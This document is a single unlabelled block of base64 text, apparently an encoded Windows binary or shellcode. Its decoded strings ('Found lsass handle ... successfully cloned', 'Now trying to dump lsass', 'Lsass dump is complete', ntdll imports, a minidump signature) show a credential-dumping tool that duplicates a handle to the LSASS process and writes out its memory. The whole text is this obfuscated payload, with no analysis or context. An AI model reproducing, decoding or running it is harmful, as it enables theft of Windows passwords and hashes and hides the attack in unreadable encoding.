FErRW53QUFBR2FCdUNBQkFBQ3hIUStFbHdBQUFPbjBBQUFBWm9HNElBRUFBQUFvRDRTWUFBQUFab0c0SUFFQUFGb3BENFNRQUFBQVpvRzRJQUVBQURrNEQ0U0lBQUFBWm9HNElBRUFBTmM2RDRTQUFBQUFab0c0SUFFQUFLcy9kSHhtZ2JnZ0FRQUE3a0owZUdhQnVDQUJBQUJqUlhSMFpvRzRJQUVBQUxwSGRIQm1nYmdnQVFBQXUwZDBiR2FCdUNBQkFBQmhTblJvWm9HNElBRUFBR0pLZEdUcmFiZ3pBQUFBNjJPNE13QUFBT3RjdURRQUFBRHJWYmcxQUFBQTYwNjROZ0FBQU90SHVEWUFBQURyUUxnMkFBQUE2em00TmdBQUFPc3l1RFlBQUFEcks3ZzJBQUFBNnlTNE5nQUFBT3NkdURZQUFBRHJGcmcyQUFBQTZ3KzROZ0FBQU9zSXVEWUFBQURyQWNOSmljb1BCY05sU0lzRUpXQUFBQUNEdUJnQkFBQUdkQTZEdUJnQkFBQUtkRkRwUHdFQUFJTzRIQUVBQUFGMEg0TzRIQUVBQUFJUGhNNEFBQUNEdUJ3QkFBQURENFRJQUFBQTZSY0JBQUJtZ2JnZ0FRQUFzQjBQaEo4QUFBQm1nYmdnQVFBQXNSMFBoSmNBQUFEcDlBQUFBR2FCdUNBQkFBQUFLQStFbUFBQUFHYUJ1Q0FCQUFCYUtRK0VrQUFBQUdhQnVDQUJBQUE1T0ErRWlBQUFBR2FCdUNBQkFBRFhPZytFZ0FBQUFHYUJ1Q0FCQUFDclAzUjhab0c0SUFFQUFPNUNkSGhtZ2JnZ0FRQUFZMFYwZEdhQnVDQUJBQUM2UjNSd1pvRzRJQUVBQUx0SGRHeG1nYmdnQVFBQVlVcDBhR2FCdUNBQkFBQmlTblJrNjJtNFBBQUFBT3RqdUR3QUFBRHJYTGc5QUFBQTYxVzRQZ0FBQU90T3VEOEFBQURyUjdnL0FBQUE2MEM0UHdBQUFPczV1RDhBQUFEck1yZy9BQUFBNnl1NFB3QUFBT3NrdUQ4QUFBRHJIYmcvQUFBQTZ4YTRQd0FBQU9zUHVEOEFBQURyQ0xnL0FBQUE2d0hEU1luS0R3WERaaTRQSDRRQUFBQUFBRUZYUVZaQlZVRlVWVmUvQUJBQUFGWk1pYzVUU0lIc0dBWUFBRW1MbVlBQUFBQk1pWVFrMkFFQUFJbVVKSmdCQUFCSWlZd2tvQUVBQUVqSGhDU1lBQUFBQUFBQUFNZUVKS0FBQUFBQUFBQUFTTWVFSkxBQkFBQUFBQUFBeDRRa3VBRUFBQUFBQUFCSXg0UWt3QUVBQUFBQUFBQkl4NFFreUFFQUFBQUFBQURIaENUUUFRQUFJZ2dBQUVqSGhDVG9BUUFBQUFBQUFFakhoQ1R3QVFBQUFBQUFBRWpIaENUNEFRQUFBQUFBQUVqSGhDUUFBZ0FBQUFBQUFNZUVKT0FCQUFBQUFBQUFRZitSaUFBQUFFRzRBQkFBQURIU1NJbkIvOU5JaWNOSWhjQjFOK25EQ2dBQVppNFBINFFBQUFBQUFFaUxycGdBQUFBQi8vK1dpQUFBQUVtSjJFR0orVEhTU0luQi85VklpY05JaGNBUGhKRUtBQUJGTWNsQmlmaElpZHE1QlFBQUFPai8rLy8vUFFRQUFNQjB2b1hBRDRWWUNnQUFpNHdrbUFFQUFFaUoyamxMVUErRlB3b0FBSXQ2QkVpTHJvQUFBQUNKdkNTNEFRQUEvNWFJQUFBQVRJMEVmekhTU0luQlNjSGdBdi9WU0ltRUpMQUJBQUJJaGNBUGhBNEtBQUJJaTc2UUFBQUFTSTJzSkJBQ0FBQk1qYXdrOEFBQUFQK1dpQUFBQUVtSjJESFNUSTJrSkxBQUFBQklpY0c3QVFBQUFQL1hTSTJNSkpBQkFBQklpZkpJamJ3a2hBQUFBT2dBRlFBQWk1UWs0QUVBQUVVeHlVVXh3RWk0VFVSTlVKT25BQUJJaTR3azJBRUFBTWVFSk9BQUFBQUFBQUFBU0ltRUpOQUFBQUJJdUFRQUFBQWdBQUFBU0ltRUpOZ0FBQUJJeDRRazZBQUFBQ0lJQUFEL2xxQUFBQUJJaVhRa0lFbUo2VWlMakNUWUFRQUFRYmdnQUFBQVNJMlVKTkFBQUFEb1p3c0FBSXVFSk9BQkFBQk1pZW5IaENTa0FBQUFCd0FBQUlQQVVJbUVKT0FCQUFDSmhDU3NBQUFBLzVhd0FBQUF1bXdBQUFCSXVHNTBaR3hzTG1Sc3VYSnpBQUJJaVlRa2pBQUFBRWk0VW5Sc1IyVjBUblJtaVpRa2xBQUFBRWk2Vm1WeWMybHZiazVJaVlRa3NBQUFBRWlOaENTTUFBQUFTSW1VSkxnQUFBQm1pWXdreEFBQUFFaUp3Y2VFSk1BQUFBQjFiV0pseG9Ra3hnQUFBQUJJaVVRa1VQK1dxQUFBQUV5SjRrbUp4a2lKd2YrVzBBQUFBRWlKK2tpSmZDUm9USTJFSklnQUFBQk1pVVFrTUVpTmpDU0FBQUFBLzlCTWlmRkZNZmFCcENTSUFBQUEvLzhBQVArV3VBQUFBQSszaENUd0FBQUF4b1FrSndFQUFBSEhoQ1EwQVFBQUFnQUFBR2FKaENRZ0FRQUFpNFFrSEFFQUFNZUVKRHdCQUFBUUFBQUFpWVFrSWdFQUFJdUVKQkFCQUFCSXg0UWtRQUVBQUFBQUFBQ0loQ1FtQVFBQWk0UWtnQUFBQUVqSGhDUklBUUFBQUFBQUFJbUVKQ2dCQUFDTGhDU0VBQUFBaVlRa0xBRUFBSXVFSklnQUFBQ0poQ1F3QVFBQWk0UWs0QUVBQUlQQU9JbUVKRGdCQUFCRWlmSC9sc0FBQUFDRndIUVJTSW5ZUklueFNOUGdTQW1FSkVBQkFBQkJnOFlCUVlQK1FIWFlpNVFrNEFFQUFFVXh5VVV4d0VpSjcwaUxqQ1RZQVFBQVNJMWNKSGovbHFBQUFBQklpWFFrSUVtSjZVaU5oQ1FnQVFBQVNJdU1KTmdCQUFCSWljSkJ1RGdBQUFCSWlVUWtRT2hxQ1FBQU1jQzVRQUFBQUlPRUpPQUJBQUE0ODBpclNJbnAvNWJJQUFBQVNJbDBKQ0JJalZRa2ZFaUxqQ1RZQVFBQUFjQkppZGxCdUFRQUFBQ0pSQ1I4NkNrSkFBQklpWFFrSUVtSjJVaUo2a1NMUkNSOFNJdU1KTmdCQUFEb0RBa0FBSXRFSkh4Rk1jbEZNY0FEaENUZ0FRQUFpNVFrM0FBQUFNZUVKS2dBQUFBNEFBQUFnOEFFU0l1TUpOZ0JBQUNKaENUZ0FRQUEvNWFnQUFBQVNJbDBKQ0JKaWVsSWpZUWtwQUFBQUVpTGpDVFlBUUFBU0luQ1FiZ01BQUFBU0lsRUpFam9wZ2dBQUl1RUpPQUJBQUNMakNUSUFRQUF4NFFrcEFBQUFBUUFBQUNKUkNSZ2lZUWtyQUFBQUlYSkQ0UlVDQUFBZytrQlNJdVVKTUFCQUFCSWFja29BZ0FBU0luUVRJMkVDaWdDQUFBeHlROGZBSU00QVlQUkFFZ0ZLQUlBQUV3NXdIWHZhOGxzUlRIMlRJbGtKRmhNamJ3a0ZBSUFBTWVFSklRQUFBQUFBQUFBUlluMGpVRUVpMHdrWUluSGlVUWtaSW5JQWZoSWpid2tPQUVBQUltRUpPQUJBQUNOUVFTSlJDUTg2dzBQSDBRQUFFaUxsQ1RBQVFBQVJJbmpTR25iS0FJQUFFaU5EQnFMQVlYQUQ0VWhBZ0FBU0lQQkhQK1d5QUFBQUVpTGxDVEFBUUFBVEluNWpVUUFBa2dCMm9tRUpCQUNBQUJJZzhJYy81WUFBUUFBaTVRazRBRUFBRVV4eVVVeHdFZ0RuQ1RBQVFBQVNJdU1KTmdCQUFCSWkwTUlTSW1FSkNBQkFBQ0xReENKaENRb0FRQUFpME1ZaVlRa0xBRUFBSXRERkl1Y0pCQUNBQUNKbENRMEFRQUFpWVFrTUFFQUFJMUQvb1BEQkltRUpCQUNBQUQvbHFBQUFBQkJpZGhOaWVsSWllcElpWFFrSUVpTGpDVFlBUUFBNkNnSEFBQUJuQ1RnQVFBQVRJbjVTSXRVSkRESGhDU3dBQUFBWEFBQUFFakhCd0FBQUFCSXgwY0lBQUFBQUVqSFJ4QUFBQUFBU01kSEdBQUFBQUJJeDBjZ0FBQUFBRWpIUnlnQUFBQUF4MGN3QUFBQUFQK1c2QUFBQUluRGhjQVBoSklBQUFCTWk3YUFBQUFBLzVhSUFBQUFRWW5ZTWRKSWljRkIvOVpKaWNaSWhjQjBjb3VVSklnQUFBQkppY0ZCaWRoTWlmbi9sdkFBQUFDRndIUkJUSXRNSkZCSWkxUWtXRTJKNkV5SjhmK1crQUFBQUlYQWRDZUR2Q1NNQUFBQU5FRzROQUFBQUVpTGxDVHdBQUFBU0luNVJBOUdoQ1NNQUFBQVJZbkEveFpJaTU2UUFBQUEvNWFJQUFBQVRZbndNZEpJaWNILzA0dUVKSVFBQUFDTFRDUThSVEhKUlRIQVNNZUVKR3dCQUFBQUFBQUFTTWVFSkhRQkFBQUFBQUFBalZBQmE4QnNpWlFraEFBQUFFakhoQ1I4QVFBQUFBQUFBRWpIaENTRUFRQUFBQUFBQUkwVUNFaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrUUUySjZVaUxqQ1RZQVFBQVFiaHNBQUFBNkxjRkFBQkJnOFFCUkR1a0pNZ0JBQUFQZ3EzOS8vOU1pMlFrV0l0VUpHQkZNY2xGTWNBeDIwaUxqQ1RZQVFBQS81YWdBQUFBU0lsMEpDQklpMVFrYUUySjZVaUxqQ1RZQVFBQVFiZ0VBQUFBNkdZRkFBQ0xSQ1JrUlRISlJUSEFTSXVNSk5nQkFBQ0poQ1NvQUFBQWk0UWszQUFBQUkxUURQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9nZEJRQUE2eGNQSHdCTUFmTVBndk1BQUFCSWk1d2tFQUlBQUV3QjgwaUxqQ1NnQVFBQVFia3dBQUFBU1lub1NJbmEvNWJZQUFBQVNJWEFENFRGQUFBQWdid2tNQUlBQUFBUUFBQk1pN1FrS0FJQUFIVzBUSXU4SlBnQkFBQklpN3drRUFJQUFFMkYvdytFT2dRQUFJdUVKQUFDQUFDTGxDUUVBZ0FBT2RBUGdod0VBQUJNaTVhWUFBQUFBZEtKbENRRUFnQUFpVlFrUEV5SlZDUXcvNWFJQUFBQVJJdE1KRHhOaWZneDBreUxWQ1F3U0luQlNjSGhCRUgvMGttSngwaUpoQ1Q0QVFBQVRZWC9ENFFTQkFBQWk0UWtBQUlBQUVpTGpDUW9BZ0FBaWNLRHdBRkl3ZUlFU1FIWFRZbDNDRW1Kemt3QjgwbUpQNG1FSkFBQ0FBQVBndzMvLy8rTGhDUUFBZ0FBaTVRazRBRUFBRVV4eVVVeHdNZUVKS1FBQUFBSkFBQUFqVWdCU0ltRUpQQUFBQUNKejRtVUpLd0FBQUJJaTR3azJBRUFBTUhuQkkwRU9vbDhKR0JJaVlRaytBQUFBUCtXb0FBQUFFaUpkQ1FnVElucVNZbnBTSXVNSk5nQkFBQkJ1QWdBQUFCRk1lM29xQU1BQUl1RUpPQUJBQUJGTWNsRk1jQklpNHdrMkFFQUFJMVFDSW1VSk9BQkFBRC9scUFBQUFCSWlYUWtJRW1KNlVpTGpDVFlBUUFBU0kyVUpQZ0FBQUJCdUFnQUFBRG9ZQU1BQUl1RUpPQUJBQUNOZUFpTGhDUUFBZ0FBaVh3a1BFR0p4a0hCNWdSQkFmNUVpYlFrNEFFQUFJWEFENFNnQVFBQVJJbHNKREJJaTN3a1VBOGZnQUFBQUFCRWkzd2tNRVV4eVVVeHdFVXg3VWlMaENUNEFRQUFTSXVNSk5nQkFBQkp3ZWNFVEFINFNJc1FTSXRBQ0VpSmxDUWdBUUFBVElueVNJbUVKQ2dCQUFEL2x1QUFBQUJJaTRRaytBRUFBRXdCK0VpTFdBaEloZHQxSnVuU0FBQUFacEJJaTRRaytBRUFBRW1CeFFBRUFBQk1BZmhJaTFnSVREbnJENGF4QUFBQVNZblpSQ25yVFNucFNZSDUvd01BQUhZTFFia0FCQUFBdXdBRUFBQklpeEJNaVdRa0lFbUo2RWlMakNTZ0FRQUFTTWVFSkxBQUFBQUFBQUFBVEFIcTZEM3ovLytGd0hXWlNJbDBKQ0JKaWZsQmlkaElpZXBJaTR3azJBRUFBT2crQWdBQTZYbi8vLzltRHgrRUFBQUFBQUJJQWNJNVNsQVBoTUgxLy8rTEFvWEFkZTVJaTc2UUFBQUEvNWFJQUFBQVNZbllNZEpJaWNILzF6SEFTSUhFR0FZQUFGdGVYMTFCWEVGZFFWNUJYOE9RaTF3a1BFaUxqQ1RZQVFBQVJUSEpSVEhBVEFPMEpDZ0JBQUNKMm9QREVQK1dvQUFBQUVpSmRDUWdTSXRVSkVCTmllRklpNHdrMkFFQUFFRzRFQUFBQU9pckFRQUFnMFFrTUFHTFJDUXdpVndrUER1RUpBQUNBQUFQZ25IKy8vK0xSQ1JnU0l1TUpOZ0JBQUJGTWNsRk1jQ0poQ1NvQUFBQWk0UWszQUFBQUkxUUdQK1dvQUFBQUVpSmRDUWdTSXRVSkVoSmllbElpNHdrMkFFQUFFRzREQUFBQU9oSUFRQUFpNFFrM0FBQUFFVXh5VVV4d0VpTGpDVFlBUUFBalZBay81YWdBQUFBU0lsMEpDQklpNHdrMkFFQUFFbUo2VWlObENTWUFBQUFRYmdNQUFBQTZBY0JBQUJJaTd3azZBRUFBRWlMbnBBQUFBRC9sb2dBQUFBeDBrbUorRWlKd2YvVFNJdThKUGdCQUFCSWk1NlFBQUFBLzVhSUFBQUFNZEpKaWZoSWljSC8wMGlMdkNUQUFRQUFTSXVla0FBQUFQK1dpQUFBQURIU1NZbjRTSW5CLzlOSWk3d2tzQUVBQUVpTG5wQUFBQUQvbG9nQUFBQXgwa2lKd1VtSitQL1R1QUVBQUFEcGZQNy8vMHlKOGVrMy9QLy9USXUrZ0FBQUFNZUVKQVFDQUFBZ0FBQUEvNWFJQUFBQVFiZ0FBZ0FBTWRKSWljRkIvOWRKaWNkSWlZUWsrQUVBQUUyRi93K0Y3dnYvLzBqSGhDUUFBZ0FBQUFBQUFFeUx0Q1FvQWdBQTZRNzcvLytMUkNSZ3gwUWtaQVFBQUFESGhDU0VBQUFBQUFBQUFJUEFCSW1FSk9BQkFBRHBZUHIvLzBGV1RZbk9RVlZKaWMxQlZGVlhTSW5YVmxORWljTklnK3d3VEl1a0pKQUFBQUJKaTdRa2dBQUFBRUgvbENTSUFBQUFNZEpKaWRoSWljSC8xa2lGd0ErRWd3QUFBRWlKM1VpSnhvWGJkQzB4d0E4ZmdBQUFBQUFQdGhRSGlCUUdTSVBBQVVnNXczWHdTSW53U0FIelpwQ0FNRUZJZzhBQlNEbkRkZlJCaWVoSWlmSk1pZWxOaWZGSXgwUWtJQUFBQUFCQi8xUWtlRW1MbkNTUUFBQUFRZitVSklnQUFBQklnOFF3U1lud01kSklpY0ZJaWRoYlhsOWRRVnhCWFVGZS8rQVBINEFBQUFBQVNJUEVNRnRlWDExQlhFRmRRVjdEa0pDUWtKQ1FrSkNRUVZjeHdFRldRVlZCVkZWWFZraUp6cmtlQUFBQVUwaUI3RmdIQUFCSWpid2tRQUVBQUV5SmhDU3dCd0FBODBpcnVSNEFBQUJJeDBRa1lBQUFBQUJJeDBRa2FBQUFBQURIaENTd0FBQUFNQUFBQUVqSGhDUzRBQUFBQUFBQUFNZUVKTWdBQUFBQUFBQUFTTWVFSk1BQUFBQUFBQUFBeHdjQUFBQUFTSTI4SkZBQ0FBRHpTS3RJdUZBQWNnQnZBR01BU01lRUpOQUFBQUFBQUFBQVNJbUVKSUFBQUFCSXVHVUFjd0J6QUFBQVNJbUVKSWdBQUFDNGN3QUFBRWpIaENUWUFBQUFBQUFBQUVqSFJDUndBQUFBQUVqSFJDUjRBQUFBQUVqSGhDUXdBUUFBQUFBQUFFakhoQ1E0QVFBQUFBQUFBRWpIaENSQUFnQUFBQUFBQUVqSGhDUklBZ0FBQUFBQUFNY0hBQUFBQU1kRUpGcHNjMkZ6Wm9sRUpGNkxEb1hKRDRTVkF3QUFpZFZOaWN3eDIwVXgvMFV4OXVzT0R4OEFnOE1CT1I0UGhqMERBQUNKMzRYdGRBcElqUVIvT1d6R0NIWGxTSTBFZjR0RXhoZzlBQUFRQUErVndUMkpBUklBRDVYQ2hORjB5U1gvLy9mL1BaOEJFZ0IwdlUyRjluUVFRYmdBZ0FBQU1kSk1pZkZCLzFRa09FaU5CSDlJalV3a2FMcEFCQUFBU01kRUpIZ0FBQUFBVEkwc3hreU5UQ1J3UVl0RkNFeU5oQ1N3QUFBQVNJbEVKSERvUE9mLy8wRVB0MVVPeDBRa01BQUFBQUJNalV3a1lNZEVKQ2dBQUFBQVNJdE1KR2hKeDhELy8vLy94MFFrSUJBRUFBRG9QZVQvLzBHNUJBQUFBRUc0QUJBQUFESEp1Z0FRQUFCQi8xUWtTRW1KeGtpRndBK0VHLy8vLzBpTFRDUmdRYmtBRUFBQVNZbkF1Z0lBQUFCSXgwUWtJQUFBQUFEbzl1ci8vNFhBRDRqeS92Ly9TWXRPQ0VpTmxDU0FBQUFBUWY5VUpGQ0Z3QStGMmY3Ly8waU52Q1F3QVFBQU1kSklpMHdrWUVHNUJBRUFBRW1KK0VIL1ZDUmdoY0FQaExUKy8vOUlqWVFrUUFJQUFFaUxUQ1JvUWJnRUFRQUFTSWxFSkVoSWljSkIvMVFrYUlYQUQ0U00vdi8vU0kxVUpGcElpZmxCLzFRa1dFaUZ3QStFZHY3Ly8wSDNSUmdRQkFBQUQ0Um8vdi8vU0l0TUpFaElqYndrWUFNQUFFeU52Q1JRQlFBQVFmOVVKSEM1UGdBQUFFeUxSQ1J3U0xwa0lHRnVaQ0J6ZFVtSndVaTRXeXRkSUVadmRXNUlpWlFrNkFBQUFFaTZiSGtnWTJ4dmJtVklpWVFrNEFBQUFFaTRZMk5sYzNObWRXeElpWVFrOEFBQUFFaTRaQ0JvWVc1a2JHVklpWVFrQUFFQUFFaTRJR3h6WVhOeklHbElpWVFrRUFFQUFFaTRDVnNyWFNCSVlXNUlpWVFra0FBQUFFaTRkSE02SUNWNENnQklpWVFrb0FBQUFESEE4MGlyU0ltVUpQZ0FBQUJJamJ3a1lBVUFBRWk2SUNnbFpDa2dkRys1UGdBQUFFaUpsQ1FJQVFBQVNMcHVPaUFsY3lBb0pmTklxMGlKbENRWUFRQUFTSTI4SkZBREFBQkl1bVJzWlNCU2FXZG9TSW1VSkpnQUFBQklpZmxJalpRazRBQUFBRXlKUkNRZ3g0UWtJQUVBQUdRcENnQkl4NFFrVUFNQUFBQUFBQUJJeDRRa1dBTUFBQUFBQUFCSXg0UWtVQVVBQUFBQUFBQkl4NFFrV0FVQUFBQUFBQUJCLzFRa0dFV0xSUmhNaWZsSWpaUWtrQUFBQUVIL1ZDUVlTSXVNSkxBSEFBQklpZnBCLzFRa0NFeUora2lMakNTd0J3QUFRZjlVSkFoTWkzd2tZSVh0ZFZsTWlmbUR3d0ZCLzFRa0tEa2VENGZKL1AvL1pnOGZSQUFBU0l0TUpHaEloY2wwQlVIL1ZDUW9UWVgyZEJCQnVBQ0FBQUF4MGt5SjhVSC9WQ1E0U0lIRVdBY0FBRXlKK0Z0ZVgxMUJYRUZkUVY1Qlg4TkZNZi9yNUVpTFRDUm9TSVhKZGNEcnlKQ1FrSkJCVjBtSjEwRldUWW5HUVZWQmljMU1pY2xCVkZOTWljdElnZXl3QUFBQTZPd0xBQUJJaGNBUGhGTUJBQUJFaWVwSmlkbE5pZmhJaWNGSmljVG83L3IvLzBtSnhVaUZ3QStFa3dJQUFFaTRXeXBkSUU1dmR5Qk1pZm5HUkNSaUFFaTZkSEo1YVc1bklIUklpVVFrUUVpNGJ5QmtkVzF3SUd4SWlWUWtTRWk2YzJGemN5QXVMaTVJaVVRa1VMZ2dDZ0FBU0lsVUpGaElqVlFrUUdhSlJDUmcvMU1JVElueFJUSEpSVEhBU01kRUpEQUFBQUFBdWdBQUFFREhSQ1FvZ0FBQUFNZEVKQ0FDQUFBQS8xTWdTWW5HU0lQNC93K0VGZ0VBQUV5SjZmOVRNRW1KMlUySjhFeUo2WW5DNkxEci8vK0Z3QStFZUFFQUFFaTRXeXRkSUV4ellYTk1pZmxJdW5NZ1pIVnRjQ0JweDRRa2lBQUFBSFJsQ2dCSWlVUWtjRUcvQVFBQUFFaTRjeUJqYjIxd2JHVklpVlFrZUVpTlZDUndTSW1FSklBQUFBRC9Vd2hOaGZaMEJreUo4ZjlUS0V5SjZmOVRLRUc0QUlBQUFESFNUSW5oLzFNNFNJSEVzQUFBQUVTSitGdEJYRUZkUVY1Qlg4Tm1EeCtFQUFBQUFBQkl1RnN0WFNCR1lXbHNUSW41U0xwbFpDQjBieUJuWmNlRUpKQUFBQUJzWlhNS1NJbEVKSEJGTWY5SXVIUWdZU0JzYVhOMFNJbFVKSGhJdWlCdlppQm9ZVzVrU0ltVUpJZ0FBQUJJalZRa2NFaUpoQ1NBQUFBQXhvUWtsQUFBQUFEL1V3anBlLy8vL3c4ZmhBQUFBQUFBU0xoYkxWMGdRMjkxYkV5SitVaTZaQ0J1YjNRZ2QzTEhoQ1NZQUFBQWFXeGxDa2lKUkNSd1JUSC9TTGhwZEdVZ2RHOGdjMGlKVkNSNFNMcHdaV05wWm1sbFpFaUpoQ1NBQUFBQVNMZ2diM1YwY0hWMFpraUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBTWFFSkp3QUFBQUEvMU1JNmQvKy8vOW1EeDlFQUFCSXVGc3RYU0JUYjIxbFRJbjVSVEgvU0xwMGFHbHVaeUIzWlVpSlJDUndTTGh1ZENCM2NtOXVaMGlKVkNSNFNMb2dkMmhwYkdVZ1pFaUpoQ1NBQUFBQVNMaDFiWEJwYm1jS0FFaUpsQ1NJQUFBQVNJMVVKSEJJaVlRa2tBQUFBUDlUQ09sdC92Ly9aZzhmaEFBQUFBQUFTTGhiTFYwZ1EyOTFiRXlKK1VpNlpDQnViM1FnWm1uSGhDU2dBQUFBYVdRS0FFaUpSQ1J3UlRIL1NMaHVaQ0JoY0hCeWIwaUpWQ1I0U0xwd2NtbGhkR1VnYUVpSmhDU0FBQUFBU0xoaGJtUnNaU0JwYmtpSmxDU0lBQUFBU0xvZ1oybDJaVzRnY0VpSmxDU1lBQUFBU0kxVUpIQklpWVFra0FBQUFQOVRDT254L2YvL2tKQ1FrSkNRa0pDUWtKQ1FRVmU0cUJVQUFFRldRVlZCVkZWWFZsUG9hdHovLzBHNEFCQUFBRWdweEVtSnpESEF1UUFDQUFCSWpid2tvQVVBQUVpTm5DU2dBUUFBU0luVlNNZEVKSEFBQUFBQTgwaXJ1VUFBQUFCSWlkOU1qYlFrb0FNQUFQTklxMHlKOTdsQUFBQUFTSTIwSktBRkFBRHpTS3RNalV3a1pFaUo4a21MVENRUVNNZEVKSGdBQUFBQVNNZUVKSUFBQUFBQUFBQUF4MFFrWkFBQUFBRC9sUkFCQUFDTFJDUmtTSTJNSkpBQUFBQklpVXdrT01Ib0E0bEVKR1FQaElJQkFBQk1qWHdrY0RIL1RJbjRUWW4zU1luR0R4OUFBRW1MVENRUVNJc1dRYmtZQUFBQVRZbncvNVVZQVFBQWhjQVBoRDRCQUFCSmkwd2tFRWlMRmtHNUFBRUFBRW1KMlArVklBRUFBSVhBRDRRZkFRQUFTTGd1QUhNQWJ3QUFBRWlKMmNlRUpKZ0FBQUErQUFBQVNJbEVKR2hJdUR3QVpRQnNBR1lBU0ltRUpKQUFBQUQvbGNnQUFBQkltRXlOREVOSmpWSCtTRG5hY3gvcHZnSUFBR1lQSDRRQUFBQUFBSVA0TDNRVVNJMUMva2c1MkhJUFNJbkNEN2NDZy9oY2RlZElnOElDU1NuUnVmOEFBQUJCdVA4QUFBQk5pYzFNaVV3a0tFblIvVW1CK2Y4QkFBQk1EMGZwVEluNVM0MUVMUUJJaVVRa1FFd0IrRWlKUkNRdy8xVUFTSXRFSkRCTWkwd2tLREhKWm9rSVNZUDVDQStIaGdBQUFFbUQrUVlQaDVVQUFBQk1pZnJyQ3c4ZmdBQUFBQUJJZzhJQ0Q3Y0NSSTFBdjQxSUlHWkJnL2dhRDBMQlpva0Nab1hBZGVKTWkyd2tjSXRFSkhoSmkwd2tFRXlMUkNRNFRJbnFpVVFrS09nTERRQUFoY0FQaFpNQUFBQ0R4d0ZJZzhZSU9Yd2taQStIa3Y3Ly8waUJ4S2dWQUFCYlhsOWRRVnhCWFVGZVFWL0RaZzhmUkFBQVNZbm9USW5xVEluNTZOb0pBQUJJbUVpRndBK0ZQd0VBQUVpTFJDUkFTSTFVSkdoSmpVd0grditWS0FFQUFJWEFENFZPLy8vL1NZMVYvVW1KNkV5SitlaWpDUUFBU0poSWhjQVBoRFQvLy85SktjVklpMVFrT0V1TlRHLzYvNVVBQVFBQTZSei8vLytMaENUb0FBQUFUWXRFSkRDSlJDUXdpNFFrbUFBQUFJbEVKRUJOaGNBUGhPUUFBQUJCaTBRa09FR0xWQ1E4T2RCeVZVeUxuWmdBQUFBQjBreUpSQ1JZUVlsVUpEeUpWQ1JVVElsY0pFai9sWWdBQUFDTFZDUlVUSXRFSkZoTWkxd2tTRWlKd1V4cHlpZ0NBQUF4MGtILzAwbUp3RW1KUkNRd1RZWEFENFRGQUFBQVFZdEVKRGhJYWNBb0FnQUFTWXRNSkJCTWllcEJ1UVFCQUFCTmpVUUFIUCtWQ0FFQUFFR0xSQ1E0aTB3a0tFaUp3a2hwd0NnQ0FBQkpBMFFrTUlsSUVJdE1KRUNEd2dGTWlXZ0lpVWdVaTB3a01NY0FBQUFBQUlsSUdFR0pWQ1E0NlliKy8vOW1EeCtFQUFBQUFBQkpLY1V4MG1aQ2laUnNvQU1BQU9rWi92Ly9EeDlFQUFCQngwUWtQQ0FBQUFCTWk0MkFBQUFBVElsTUpFai9sWWdBQUFCQnVBQkZBQUJNaTB3a1NESFNTSW5CUWYvUlNZbkFTWWxFSkRCTmhjQVBoVHYvLy85SngwUWtPQUFBQUFEcEdQNy8vMEc0L3dBQUFFeUp5a3lKK2Y5VkFESEFab21FSktBREFBRHBxZjMvLzVDUWtKQ1FrSkNRa0pDUWtKQkJWYnA4WWZST1FWUkppY3k1WTlkUDVsZElnZXhRQWdBQTZJSUNBQUJJaGNBUGhIc0JBQUJKaWNDNExnQUFBRWlOZkNSQXVSNEFBQUJtaVVRa0xqSEFRUSsyRkNUelNLdTVIZ0FBQUVqSFJDUXdBQUFBQUVqSFJDUTRBQUFBQUVqSGhDUkFBUUFBQUFBQUFFakhoQ1JJQVFBQUFBQUFBTWNIQUFBQUFFaU52Q1JRQVFBQTgwaXJ4d2NBQUFBQWhOSjBHbVlQSDBRQUFBKzJ5RWlEd0FHSVZBd3dRUSsyRkFTRTBuWHNUSTFrSkRCSWpWUWtMa3lKNFVILzBFbUp3RWlGd0ErRTJnQUFBQSsyVUFIR0FBQ0UwZytFQ1FFQUFESEFEeCtBQUFBQUFBKzJ5RWlEd0FHSWxBeEFBUUFBUVErMlZBQUJoTkoxNkErMmhDUkFBUUFBaE1BUGhOZ0FBQUJNallRa1FRRUFBTGtGRlFBQUR4OEFpY3BKZzhBQndlSUZBZEFCd1VFUHRrRC9oTUIxNm9IeFJFTkNRVUdKelErMlJDUXdoTUFQaEtjQUFBQk1qVVFrTWJrRkZRQUFacENKeWttRHdBSEI0Z1VCMEFIQlFRKzJRUCtFd0hYcWdmRkVRMEpCNkk4QUFBQklpY0ZJaGNCMEYwU0o2dWl2Q0FBQVNJSEVVQUlBQUY5QlhFRmR3MmFRdVRHdEFqSG9aZ0FBQUVpSndVaUZ3SFVXTWNCSWdjUlFBZ0FBWDBGY1FWM0REeCtBQUFBQUFMcS9zLzBlNkc0SUFBQkloY0IwMjB5SjRmL1FTSW5CU0lYQWRhVXh3T3ZNRHgrRUFBQUFBQUJCdlVGV1FrSHBUUC8vLzdsQlZrSkI2WGYvLy8rUWtKQ1FrSkNRa0pDUWtHVklpd1FsWUFBQUFFaUxRQmlCOFVSRFFrRkJpY3BNaTFnZ1RZblpEeDhBU1l0SlVFaUZ5WFJqRDdjQlpvWEFkRjlJaWNvUEgwQUFSSTFBdjJaQmcvZ1pkd2FEd0NCbWlRSVB0MElDU0lQQ0FtYUZ3SFhpRDdjQlpvWEFkREpCdUFVVkFBQVBIMEFBUkluQ1NJUEJBc0hpQlFIUVFRSEFEN2NCWm9YQWRlbEZPY0owRjAyTENVMDV5M1dVTWNERGtFRzRCUlVBQUVVNXduWHBTWXRCSU1OQlZFR0oxRk9KeTBpRDdGam9ULy8vLzBpRndIVWl1VEd0QWpIb1FQLy8vMGlKd1VpRndIVW9TSVBFV0RIQVcwRmN3MllQSDBRQUFFaUR4RmhFaWVKSWljRmJRVnpwUmdjQUFHWVBIMFFBQUxxL3MvMGU2RFlIQUFCSWhjQjB5WUg3bCt4Ym1BK0VoUUFBQUlIN0RjbGlKZytFNlFBQUFJSDdZOWRQNWcrRXRRQUFBSUg3aUNiNEFBK0VBUUVBQUlIN3V3N085WFdSU0xwQmNHa3RiWE10ZDhaRUpFSUFTTGxwYmkxamIzSmxMVWlKVkNRZ1NMcDJaWEp6YVc5dUxVaUpUQ1FvU0xsc01TMHhMVEF1WkVpSlZDUXd1bXhzQUFCSWlVd2tPRWlOVENRZ1pvbFVKRUQvMEVpSndlc3NacEJCdUd4c0FBQklqVXdrSU1aRUpDb0FTTHRWYzJWeU16SXVaRWlKWENRZ1prU0pSQ1FvLzlCSWljRkloY2tQaEFYLy8vOUlnOFJZUkluaVcwRmM2VjRHQUFCbUR4OUVBQUJJdTFO